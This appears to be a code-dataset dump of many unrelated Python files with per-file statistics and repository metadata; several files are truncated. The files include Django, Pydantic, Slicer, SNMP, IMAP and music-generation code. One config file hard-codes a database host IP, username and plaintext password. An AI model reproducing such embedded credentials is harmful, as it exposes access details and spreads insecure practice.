1
0
false
0
0.222222
0
0.555556
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6fb000a6fd5b519a73bbb7413dd210206c96960d
370
py
Python
python/geeksforgeeks/arrays/rearrengment/reverse_a_string.py
othonreyes/code_problems
6e65b26120b0b9d6e5ac7342a4d964696b7bd5bf
[ "MIT" ]
null
null
null
python/geeksforgeeks/arrays/rearrengment/reverse_a_string.py
othonreyes/code_problems
6e65b26120b0b9d6e5ac7342a4d964696b7bd5bf
[ "MIT" ]
null
null
null
python/geeksforgeeks/arrays/rearrengment/reverse_a_string.py
othonreyes/code_problems
6e65b26120b0b9d6e5ac7342a4d964696b7bd5bf
[ "MIT" ]
null
null
null
# https://www.geeksforgeeks.org/write-a-program-to-reverse-an-array-or-string/ # Time: O(n) # Space: 1 def reverseByMiddles(arr): n = len(arr) limit = n//2 for i in range(limit): temp = arr[i] arr[i] = arr[(n-1)-i] arr[(n-1)-i] = temp return arr arr = [1,2,3] result = reverseByMiddles(arr) print(r...
18.5
78
0.627027
64
370
3.625
0.53125
0.24569
0.060345
0.051724
0.056034
0
0
0
0
0
0
0.036066
0.175676
370
19
79
19.473684
0.72459
0.259459
0
0
0
0
0
0
0
0
0
0
0
1
0.083333
false
0
0
0
0.166667
0.166667
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6fbe42378fbc286f445856d3f64bebf5d1265f7a
1,173
py
Python
app/model.py
hfikry92/fast-api-auth-starter
4d90980da7084961f8f25591aea587509e790f80
[ "MIT" ]
43
2020-12-14T18:19:15.000Z
2022-03-30T05:57:43.000Z
app/model.py
hfikry92/fast-api-auth-starter
4d90980da7084961f8f25591aea587509e790f80
[ "MIT" ]
3
2021-02-19T09:56:35.000Z
2022-03-30T13:26:50.000Z
app/model.py
hfikry92/fast-api-auth-starter
4d90980da7084961f8f25591aea587509e790f80
[ "MIT" ]
16
2020-12-14T02:49:35.000Z
2022-02-15T10:39:39.000Z
from pydantic import BaseModel, Field, EmailStr class PostSchema(BaseModel): id: int = Field(default=None) title: str = Field(...) content: str = Field(...) class Config: schema_extra = { "example": { "title": "Securing FastAPI applications with JWT.", ...
27.27907
191
0.535379
107
1,173
5.841122
0.53271
0.064
0.0624
0.0912
0.3856
0.3856
0.2608
0.2016
0.2016
0.2016
0
0
0.341006
1,173
42
192
27.928571
0.808538
0
0
0.5
0
0.029412
0.30179
0
0
0
0
0
0
1
0
false
0.117647
0.029412
0
0.441176
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
6fc58731a5e67b957a08a7b99ed3506623297e19
301
py
Python
vk_bot/mods/other/counting.py
triangle1984/GLaDOS
39dea7bf8043e791ef079ea1ac6616f95d5b5312
[ "BSD-3-Clause" ]
3
2019-12-12T05:48:34.000Z
2020-12-07T19:23:41.000Z
vk_bot/mods/other/counting.py
anar66/vk-bot
39dea7bf8043e791ef079ea1ac6616f95d5b5312
[ "BSD-3-Clause" ]
1
2019-11-15T14:28:49.000Z
2019-11-15T14:28:49.000Z
vk_bot/mods/other/counting.py
triangle1984/vk-bot
39dea7bf8043e791ef079ea1ac6616f95d5b5312
[ "BSD-3-Clause" ]
5
2019-11-20T14:20:30.000Z
2022-02-05T10:37:01.000Z
from vk_bot.core.modules.basicplug import BasicPlug import time class Counting(BasicPlug): command = ("отсчет",) doc = "Отсчет от 1 до 3" def main(self): for x in range(3, -1, -1): if x == 0: return self.sendmsg(x) time.sleep(1)
25.083333
51
0.538206
41
301
3.926829
0.707317
0.186335
0
0
0
0
0
0
0
0
0
0.035714
0.348837
301
11
52
27.363636
0.785714
0
0
0
0
0
0.07309
0
0
0
0
0
0
1
0.090909
false
0
0.181818
0
0.636364
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
6fc63d77d8ed73c401918b676d06084cc00b6c87
954
py
Python
wind-oci-marketplace/setup.py
LaudateCorpus1/wind
d10dbc6baa98acab4927ff2b7a880b4727185582
[ "UPL-1.0", "Apache-2.0" ]
1
2022-02-07T15:56:24.000Z
2022-02-07T15:56:24.000Z
wind-oci-marketplace/setup.py
LaudateCorpus1/wind
d10dbc6baa98acab4927ff2b7a880b4727185582
[ "UPL-1.0", "Apache-2.0" ]
null
null
null
wind-oci-marketplace/setup.py
LaudateCorpus1/wind
d10dbc6baa98acab4927ff2b7a880b4727185582
[ "UPL-1.0", "Apache-2.0" ]
1
2022-02-18T01:23:46.000Z
2022-02-18T01:23:46.000Z
## Copyright © 2021, Oracle and/or its affiliates. ## Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl. #!/usr/bin/env python from setuptools import setup setup(name='wind-marketplace-library', version="1.0.0", description='Robot Framework test librar...
31.8
105
0.634172
108
954
5.546296
0.685185
0.010017
0.083472
0.096828
0.176962
0.176962
0.176962
0.176962
0
0
0
0.018006
0.243187
954
30
106
31.8
0.810249
0.179245
0
0.083333
0
0
0.429306
0.087404
0
0
0
0
0
1
0
true
0
0.041667
0
0.041667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
6fc8809070d19daecb0e75b0cf66f5240983ed79
1,392
py
Python
api/views.py
oil-rope/oil-and-rope
6d59c87d4809f120417a90c1624952085486bb06
[ "MIT" ]
8
2019-08-27T20:08:22.000Z
2021-07-23T22:49:47.000Z
api/views.py
oil-rope/oil-and-rope
6d59c87d4809f120417a90c1624952085486bb06
[ "MIT" ]
73
2020-03-11T18:07:29.000Z
2022-03-28T18:07:47.000Z
api/views.py
oil-rope/oil-and-rope
6d59c87d4809f120417a90c1624952085486bb06
[ "MIT" ]
4
2020-02-22T19:44:17.000Z
2022-03-08T09:42:45.000Z
from django.http import JsonResponse from django.shortcuts import reverse from django.urls import NoReverseMatch from django.views import View from rest_framework import __version__ as drf_version from rest_framework.exceptions import ValidationError from rest_framework.permissions import AllowAny from rest_framework.r...
27.294118
56
0.66954
155
1,392
5.832258
0.425806
0.086283
0.094027
0.04646
0
0
0
0
0
0
0
0.000951
0.244253
1,392
50
57
27.84
0.858365
0.030891
0
0
0
0
0.058515
0
0
0
0
0
0
1
0.055556
false
0
0.277778
0.027778
0.527778
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
6fdb320f11ce21ba2207772e25516617a4f09f64
310
py
Python
setup.py
Juniper/contrail-server-manager
61a586495b4819904887b5dccb9288b9cf3d2ad5
[ "Apache-2.0" ]
12
2015-07-28T15:31:51.000Z
2019-03-03T23:39:10.000Z
setup.py
Juniper/contrail-server-manager
61a586495b4819904887b5dccb9288b9cf3d2ad5
[ "Apache-2.0" ]
4
2017-01-25T05:24:17.000Z
2019-04-03T00:25:13.000Z
setup.py
Juniper/contrail-server-manager
61a586495b4819904887b5dccb9288b9cf3d2ad5
[ "Apache-2.0" ]
33
2015-01-07T10:01:28.000Z
2020-07-26T08:22:53.000Z
# # Copyright (c) 2013 Juniper Networks, Inc. All rights reserved. # from setuptools import setup import setuptools setup( name='contrail-server-manager', version='0.1dev', packages=setuptools.find_packages(exclude=["*.pyc"]), zip_safe=False, long_description="Server Manager package", )
20.666667
64
0.716129
37
310
5.918919
0.810811
0.118721
0
0
0
0
0
0
0
0
0
0.022989
0.158065
310
14
65
22.142857
0.816092
0.2
0
0
0
0
0.229508
0.094262
0
0
0
0
0
1
0
true
0
0.222222
0
0.222222
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
6fdc3aa267ad82108937792e25090869d2290abd
6,272
py
Python
Modules/Loadable/Markups/Testing/Python/MarkupsSceneViewRestoreTestManyLists.py
TheInterventionCentre/NorMIT-Plan-App
765ed9a5dccc1cc134b65ccabe93fc132baeb2ea
[ "MIT" ]
null
null
null
Modules/Loadable/Markups/Testing/Python/MarkupsSceneViewRestoreTestManyLists.py
TheInterventionCentre/NorMIT-Plan-App
765ed9a5dccc1cc134b65ccabe93fc132baeb2ea
[ "MIT" ]
null
null
null
Modules/Loadable/Markups/Testing/Python/MarkupsSceneViewRestoreTestManyLists.py
TheInterventionCentre/NorMIT-Plan-App
765ed9a5dccc1cc134b65ccabe93fc132baeb2ea
[ "MIT" ]
null
null
null
# Test restoring a scene with multiple lists with different number # of fiducials # first fiducial list displayNode1 = slicer.vtkMRMLMarkupsDisplayNode() slicer.mrmlScene.AddNode(displayNode1) fidNode1 = slicer.vtkMRMLMarkupsFiducialNode() fidNode1.SetName("FidNode1") slicer.mrmlScene.AddNode(fidNode1) fidNode1.Set...
37.333333
151
0.772162
636
6,272
7.61478
0.234277
0.006195
0.007433
0.007433
0.348338
0.271319
0.253562
0.216395
0.207722
0.207722
0
0.029712
0.125319
6,272
167
152
37.556886
0.853081
0.07111
0
0.28
0
0
0.164287
0.016171
0
0
0
0
0
0
null
null
0
0
null
null
0.072
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
6fdd8bc73e2b49aa962aeebacd2ae774e4162d17
1,013
py
Python
segmentfault/apps/msg/consumer.py
Yookyiss/segmentfault
8fb7890c8b650ac34541a8fb14c3cd9bef98d120
[ "MIT" ]
null
null
null
segmentfault/apps/msg/consumer.py
Yookyiss/segmentfault
8fb7890c8b650ac34541a8fb14c3cd9bef98d120
[ "MIT" ]
12
2020-02-12T01:14:42.000Z
2022-03-11T23:54:43.000Z
segmentfault/apps/msg/consumer.py
Yookyiss/segmentfault
8fb7890c8b650ac34541a8fb14c3cd9bef98d120
[ "MIT" ]
null
null
null
# -*- coding:utf-8 -*- # @Time : 2019/7/21 12:35 PM # @Author : __wutonghe__ # docs https://channels.readthedocs.io/en/latest/tutorial/part_3.html#rewrite-the-consumer-to-be-asynchronous from channels.generic.websocket import AsyncWebsocketConsumer import json class MessageConsumer(AsyncWebsocketConsumer): "...
30.69697
119
0.669299
119
1,013
5.563025
0.638655
0.067976
0.058912
0.063444
0.208459
0.129909
0.129909
0.129909
0
0
0
0.01599
0.197433
1,013
32
120
31.65625
0.798278
0.228036
0
0
0
0
0.040404
0
0
0
0
0
0
1
0
true
0
0.153846
0
0.230769
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
6fe090a4e22c0963ebcb0f7db477cda0fa848e0e
2,618
py
Python
tests/utils/test_interpolator.py
JelleAalbers/hypney
3e38e21743fc9babe0ed47af299d08242a9b6d32
[ "MIT" ]
null
null
null
tests/utils/test_interpolator.py
JelleAalbers/hypney
3e38e21743fc9babe0ed47af299d08242a9b6d32
[ "MIT" ]
null
null
null
tests/utils/test_interpolator.py
JelleAalbers/hypney
3e38e21743fc9babe0ed47af299d08242a9b6d32
[ "MIT" ]
null
null
null
import eagerpy as ep import numpy as np from scipy.interpolate import RegularGridInterpolator import hypney tl = ep.numpy def test_regular_grid_interpolator(): """Adapted from https://github.com/sbarratt/torch_interpolations/blob/master/tests/test_grid_interpolator.py """ points = [tl.arange(-0.5, 2...
33.564103
137
0.632544
394
2,618
4.081218
0.266497
0.00995
0.052239
0.024876
0.214552
0.143657
0.126866
0.032338
0
0
0
0.040566
0.190222
2,618
77
138
34
0.717925
0.399924
0
0
0
0
0
0
0
0
0
0.012987
0.088235
1
0.117647
false
0
0.117647
0.058824
0.294118
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
6fe12a816ae34998a3fcf2329f909ed39bda660d
8,451
py
Python
python/database.py
bvmeggelen/routino
b6bcc47be6ba4a90353a5b140ca9996aaa17d2b8
[ "X11", "MIT" ]
1
2016-02-12T20:26:31.000Z
2016-02-12T20:26:31.000Z
python/database.py
bvmeggelen/routino
b6bcc47be6ba4a90353a5b140ca9996aaa17d2b8
[ "X11", "MIT" ]
2
2019-01-16T10:00:19.000Z
2019-02-03T10:53:32.000Z
python/database.py
bvmeggelen/routino
b6bcc47be6ba4a90353a5b140ca9996aaa17d2b8
[ "X11", "MIT" ]
null
null
null
#!/usr/bin/python3 ########################################## # Routino database access from Python. # # Part of the Routino routing software. ########################################## # This file Copyright 2018 Andrew M. Bishop # # This program is free software: you can redistribute it and/or modify # it under the te...
30.956044
156
0.587504
964
8,451
5.047718
0.254149
0.029388
0.017263
0.025894
0.254829
0.217016
0.182491
0.15783
0.140567
0.126182
0
0.009107
0.246361
8,451
272
157
31.069853
0.754907
0.153591
0
0.152866
0
0.019108
0.363481
0.03872
0
0
0
0
0
1
0.006369
false
0
0.012739
0
0.019108
0.414013
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
1
6fe25b4c2678c24198e66f7fedfb9fb15fdcf64a
5,498
py
Python
pysnmp/BAY-STACK-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
11
2021-02-02T16:27:16.000Z
2021-08-31T06:22:49.000Z
pysnmp/BAY-STACK-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
75
2021-02-24T17:30:31.000Z
2021-12-08T00:01:18.000Z
pysnmp/BAY-STACK-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
10
2019-04-30T05:51:36.000Z
2022-02-16T03:33:41.000Z
# # PySNMP MIB module BAY-STACK-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/BAY-STACK-MIB # Produced by pysmi-0.3.4 at Mon Apr 29 17:19:06 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 201...
130.904762
836
0.790833
556
5,498
7.816547
0.269784
0.006903
0.008974
0.011965
0.35826
0.254717
0.230787
0.230787
0.230787
0.199724
0
0.071876
0.071299
5,498
41
837
134.097561
0.779279
0.058203
0
0
0
0
0.159799
0.012962
0
0
0
0
0
1
0
false
0
0.205882
0
0.205882
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6fe6702a87b9963548f65391cbbfe3151ca980e8
1,606
py
Python
src/probnum/random_variables/__init__.py
admdev8/probnum
792b6299bac247cf8b1b5056756f0f078855d83a
[ "MIT" ]
null
null
null
src/probnum/random_variables/__init__.py
admdev8/probnum
792b6299bac247cf8b1b5056756f0f078855d83a
[ "MIT" ]
2
2020-12-28T19:37:16.000Z
2020-12-28T19:37:31.000Z
src/probnum/random_variables/__init__.py
admdev8/probnum
792b6299bac247cf8b1b5056756f0f078855d83a
[ "MIT" ]
null
null
null
""" This package implements random variables. Random variables are the primary in- and outputs of probabilistic numerical methods. A generic signature of such methods looks like this: .. highlight:: python .. code-block:: python randvar_out, info = probnum_method(problem, randvar_in, **kwargs) """ from ._dirac ...
30.301887
85
0.797011
141
1,606
8.659574
0.432624
0.135135
0.140049
0.206388
0
0
0
0
0
0
0
0
0.126401
1,606
52
86
30.884615
0.870278
0.273973
0
0
0
0
0.3391
0.309689
0
0
0
0
0
1
0
false
0
0.151515
0
0.151515
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6fea6ea2847af9fb33f26ea132b770aa2ffca311
9,206
py
Python
dot_vim/plugged/ultisnips/test/test_SnippetOptions.py
gabefgonc/san-francisco-rice-dotfiles
60ff3539f34ecfff6d7bce895497e2a3805910d4
[ "MIT" ]
10
2020-07-21T21:59:54.000Z
2021-07-19T11:01:47.000Z
dot_vim/plugged/ultisnips/test/test_SnippetOptions.py
gabefgonc/san-francisco-rice-dotfiles
60ff3539f34ecfff6d7bce895497e2a3805910d4
[ "MIT" ]
null
null
null
dot_vim/plugged/ultisnips/test/test_SnippetOptions.py
gabefgonc/san-francisco-rice-dotfiles
60ff3539f34ecfff6d7bce895497e2a3805910d4
[ "MIT" ]
1
2021-01-30T18:17:01.000Z
2021-01-30T18:17:01.000Z
# encoding: utf-8 from test.vim_test_case import VimTestCase as _VimTest from test.constant import * from test.util import running_on_windows class SnippetOptions_OnlyExpandWhenWSInFront_Expand(_VimTest): snippets = ("test", "Expand me!", "", "b") keys = "test" + EX wanted = "Expand me!" class SnippetOp...
25.360882
86
0.647078
1,079
9,206
5.270621
0.118628
0.068929
0.086865
0.063478
0.754
0.691929
0.581502
0.540355
0.488483
0.452963
0
0.005164
0.20063
9,206
362
87
25.430939
0.767631
0.00391
0
0.531915
0
0
0.190224
0
0
0
0
0
0
1
0.025532
false
0
0.012766
0
0.795745
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
6ff236eea364203b4294e15e6410629f2aeb3886
3,143
py
Python
imap_wrapper.py
tbrownaw/rss-imap
41d930d778017a9d60feed1688f9f2c7a94b94a6
[ "MIT" ]
2
2016-09-28T19:44:53.000Z
2021-09-17T11:36:24.000Z
imap_wrapper.py
tbrownaw/rss-imap
41d930d778017a9d60feed1688f9f2c7a94b94a6
[ "MIT" ]
null
null
null
imap_wrapper.py
tbrownaw/rss-imap
41d930d778017a9d60feed1688f9f2c7a94b94a6
[ "MIT" ]
null
null
null
import email import logging import re from imapclient import IMAPClient class IMAPError(IOError): pass class ImapWrapper: """A wrapper around imaplib, since that's a bit lower-level than I'd prefer to work with.""" #This regex is: # list of flags in parens # quoted delimiter # possible-q...
34.538462
81
0.610563
392
3,143
4.688776
0.334184
0.032644
0.054407
0.040805
0.038085
0.038085
0
0
0
0
0
0.00477
0.266306
3,143
90
82
34.922222
0.792281
0.097359
0
0.059701
0
0
0.075391
0
0
0
0
0.011111
0
1
0.134328
false
0.014925
0.059701
0
0.313433
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
6ff60de2cd7ad626ba0327a1b10d9c7e29a27101
3,150
py
Python
serve/api/predict.py
HalleyYoung/musicautobot
075afba70a57ebacfcd8d2bf9dc178a93c05a116
[ "MIT" ]
402
2019-07-31T00:37:10.000Z
2022-03-27T22:21:29.000Z
serve/api/predict.py
HalleyYoung/musicautobot
075afba70a57ebacfcd8d2bf9dc178a93c05a116
[ "MIT" ]
26
2019-08-20T13:44:30.000Z
2022-01-27T10:42:28.000Z
serve/api/predict.py
HalleyYoung/musicautobot
075afba70a57ebacfcd8d2bf9dc178a93c05a116
[ "MIT" ]
81
2019-08-14T06:55:55.000Z
2022-03-19T09:49:15.000Z
import sys from . import app sys.path.append(str(app.config['LIB_PATH'])) from musicautobot.music_transformer import * from musicautobot.config import * from flask import Response, send_from_directory, send_file, request, jsonify from .save import to_s3 import torch import traceback torch.set_num_threads(4) data = ...
35
113
0.672381
442
3,150
4.61991
0.332579
0.03428
0.041626
0.045054
0.129285
0.105779
0.052889
0.052889
0.052889
0.052889
0
0.018626
0.181905
3,150
89
114
35.393258
0.773768
0.365714
0
0.088889
0
0
0.119837
0
0
0
0
0.011236
0
1
0.044444
false
0.022222
0.177778
0
0.288889
0.066667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
6ffc37d2645887ce4dd7940f03465b3689f39751
458
py
Python
nngen/onnx/shape.py
RyusukeYamano/nngen
9ed1f7fb83908794aa94d70287d89545d45fe875
[ "Apache-2.0" ]
207
2019-11-12T11:42:25.000Z
2022-03-20T20:32:17.000Z
nngen/onnx/shape.py
RyusukeYamano/nngen
9ed1f7fb83908794aa94d70287d89545d45fe875
[ "Apache-2.0" ]
31
2019-11-25T07:33:30.000Z
2022-03-17T12:34:34.000Z
nngen/onnx/shape.py
RyusukeYamano/nngen
9ed1f7fb83908794aa94d70287d89545d45fe875
[ "Apache-2.0" ]
29
2019-11-07T02:25:48.000Z
2022-03-12T16:22:57.000Z
from __future__ import absolute_import from __future__ import print_function from __future__ import division def Shape(visitor, node): input = visitor.visit(node.input[0]) shape = input.shape if (input.get_layout() is not None and input.get_onnx_layout() is not None and input.get_layout() !=...
28.625
85
0.713974
67
458
4.537313
0.41791
0.157895
0.157895
0.177632
0.171053
0.171053
0.171053
0
0
0
0
0.002681
0.18559
458
15
86
30.533333
0.812332
0
0
0
0
0
0
0
0
0
0
0
0
1
0.1
false
0
0.3
0
0.5
0.1
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
b502452c7fbc49bc12b35532d369cf96f4db27dd
851
py
Python
twisted/test/stdio_test_write.py
engdan77/otis_app
6c6ea8da47d580e91a794663338572cf2a7368b6
[ "MIT" ]
null
null
null
twisted/test/stdio_test_write.py
engdan77/otis_app
6c6ea8da47d580e91a794663338572cf2a7368b6
[ "MIT" ]
1
2022-03-04T17:40:22.000Z
2022-03-04T17:40:22.000Z
twisted/test/stdio_test_write.py
cpdean/twisted
e502df17e0704de42dc38b6e171ebbc7daf52c8a
[ "Unlicense", "MIT" ]
null
null
null
# -*- test-case-name: twisted.test.test_stdio.StandardInputOutputTests.test_write -*- # Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ Main program for the child process run by L{twisted.test.test_stdio.StandardInputOutputTests.test_write} to test that ITransport.write() works for process tr...
25.787879
85
0.72738
102
851
5.901961
0.54902
0.054817
0.049834
0.066445
0.17608
0.17608
0.17608
0
0
0
0
0.001406
0.164512
851
32
86
26.59375
0.845288
0.374853
0
0
0
0
0.038314
0
0
0
0
0
0
1
0.125
false
0
0.3125
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
b50af19fbfd3dbcdc0b721d01520bacb09232597
256
py
Python
web.backend/config.py
Forevka/YTDownloader
fff92bfc13b70843472ec6cce13ed6609d89433a
[ "MIT" ]
1
2020-10-27T05:31:51.000Z
2020-10-27T05:31:51.000Z
web.backend/config.py
Forevka/YTDownloader
fff92bfc13b70843472ec6cce13ed6609d89433a
[ "MIT" ]
null
null
null
web.backend/config.py
Forevka/YTDownloader
fff92bfc13b70843472ec6cce13ed6609d89433a
[ "MIT" ]
null
null
null
host = "localhost" port = 9999 dboptions = { "host": "194.67.198.163", "user": "postgres", "password": "werdwerd2012", "database": "zno_bot", 'migrate': True } API_PATH = '/api/' API_VERSION = 'v1' API_URL = API_PATH + API_VERSION
14.222222
32
0.597656
31
256
4.741935
0.741935
0.095238
0.136054
0
0
0
0
0
0
0
0
0.1
0.21875
256
17
33
15.058824
0.635
0
0
0
0
0
0.34375
0
0
0
0
0
0
1
0
false
0.083333
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
b50dc3fa0e49a34e31b885324c803f179d4c5bd2
746
py
Python
UFOscrapy/UFOscrapy/pipelines.py
anaheino/Ufo-sightings-map
64af02093f97737cbbdfd8af9e1aeb4d8aa8fcdc
[ "MIT" ]
null
null
null
UFOscrapy/UFOscrapy/pipelines.py
anaheino/Ufo-sightings-map
64af02093f97737cbbdfd8af9e1aeb4d8aa8fcdc
[ "MIT" ]
null
null
null
UFOscrapy/UFOscrapy/pipelines.py
anaheino/Ufo-sightings-map
64af02093f97737cbbdfd8af9e1aeb4d8aa8fcdc
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from .parserules import parseAll class UfoscrapyPipeline(object): def process_item(self, item, spider): """ Parsitaan regexin ja datetimen avulla kentät oikeaan muotoon. """ try: item['loc'] = item['loc'][0] except: item['...
22.606061
66
0.430295
64
746
5
0.484375
0.0875
0.1375
0
0
0
0
0
0
0
0
0.011682
0.426273
746
32
67
23.3125
0.735981
0.02815
0
0.380952
0
0
0.097826
0
0
0
0
0
0
0
null
null
0
0.047619
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
82ecef2ff3628afa85b6185c93f911d25a8014e1
5,635
py
Python
src/main/python/Training+Data+Analysis.py
sully90/dp-search-service
efc6a94dad1c5b3fc898da9ced1606aa345c7ecd
[ "MIT" ]
null
null
null
src/main/python/Training+Data+Analysis.py
sully90/dp-search-service
efc6a94dad1c5b3fc898da9ced1606aa345c7ecd
[ "MIT" ]
null
null
null
src/main/python/Training+Data+Analysis.py
sully90/dp-search-service
efc6a94dad1c5b3fc898da9ced1606aa345c7ecd
[ "MIT" ]
null
null
null
# coding: utf-8 # # Training Set Analysis # The purpose of this notebook is to compute the kernel density estimate of the PDF between the judgement and each feature in a training set, in order to estimate how each feature is performing. # # # TODO # Modify features to use custom function score queries, and use ML to...
31.836158
208
0.525998
713
5,635
4.102384
0.31136
0.02188
0.022564
0.02735
0.099145
0.023248
0.023248
0.023248
0.023248
0.023248
0
0.01646
0.342325
5,635
176
209
32.017045
0.772801
0.155989
0
0.052174
0
0.008696
0.049668
0.015628
0
0
0
0.005682
0
0
null
null
0.008696
0.06087
null
null
0.008696
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
82efe2ac2a9247e0f62ea4de8994ddbcc198a68c
368
py
Python
manage_it/catalog/admin.py
ShangShungInstitute/django-manage-it
13cb23b57ce3577db7f69250741bcbfe82b69a57
[ "MIT", "Unlicense" ]
1
2015-01-20T14:34:32.000Z
2015-01-20T14:34:32.000Z
manage_it/catalog/admin.py
ShangShungInstitute/django-manage-it
13cb23b57ce3577db7f69250741bcbfe82b69a57
[ "MIT", "Unlicense" ]
null
null
null
manage_it/catalog/admin.py
ShangShungInstitute/django-manage-it
13cb23b57ce3577db7f69250741bcbfe82b69a57
[ "MIT", "Unlicense" ]
null
null
null
from django.contrib import admin from models import Location, ItemTemplate, Log, Inventory, Supplier class ItemTemplateAdmin(admin.ModelAdmin): filter_horizontal = ('supplies', 'suppliers') admin.site.register(Location) admin.site.register(ItemTemplate, ItemTemplateAdmin) admin.site.register(Log) admin.site.reg...
24.533333
67
0.807065
42
368
7.047619
0.47619
0.152027
0.287162
0
0
0
0
0
0
0
0
0
0.089674
368
14
68
26.285714
0.883582
0
0
0
0
0
0.046322
0
0
0
0
0
0
1
0
false
0
0.222222
0
0.444444
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
82f2ce225147eef11b48a4a976040f87c859485c
7,566
py
Python
orchestra/contrib/payments/models.py
udm88/django-orchestra
49c84f13a8f92427b01231615136549fb5be3a78
[ "Unlicense" ]
68
2015-02-09T10:28:44.000Z
2022-03-12T11:08:36.000Z
orchestra/contrib/payments/models.py
ferminhg/django-orchestra
49c84f13a8f92427b01231615136549fb5be3a78
[ "Unlicense" ]
17
2015-05-01T18:10:03.000Z
2021-03-19T21:52:55.000Z
orchestra/contrib/payments/models.py
ferminhg/django-orchestra
49c84f13a8f92427b01231615136549fb5be3a78
[ "Unlicense" ]
29
2015-03-31T04:51:03.000Z
2022-02-17T02:58:50.000Z
from django.core.exceptions import ValidationError from django.db import models from django.utils.functional import cached_property from django.utils.translation import ugettext_lazy as _ from jsonfield import JSONField from orchestra.models.fields import PrivateFileField from orchestra.models.queryset import group_by...
35.85782
118
0.648163
824
7,566
5.75
0.214806
0.027438
0.023639
0.025116
0.272478
0.244829
0.172225
0.147953
0.107007
0.048544
0
0.002257
0.238699
7,566
210
119
36.028571
0.820313
0.022733
0
0.171779
0
0
0.139891
0.003664
0
0
0
0
0
1
0.159509
false
0
0.055215
0.079755
0.558282
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
82f8c42e4b7f145f7c76d62522e5c2d2fdd59996
8,992
py
Python
puwifi.py
SaicharanKandukuri/logmein
9946488fb61093bf2394254da056d2ebd290e83a
[ "MIT" ]
4
2021-12-01T12:07:49.000Z
2022-03-16T15:11:57.000Z
puwifi.py
SaicharanKandukuri/puwifi
9946488fb61093bf2394254da056d2ebd290e83a
[ "MIT" ]
10
2021-12-01T11:41:04.000Z
2022-03-16T16:12:36.000Z
puwifi.py
SaicharanKandukuri/logmein
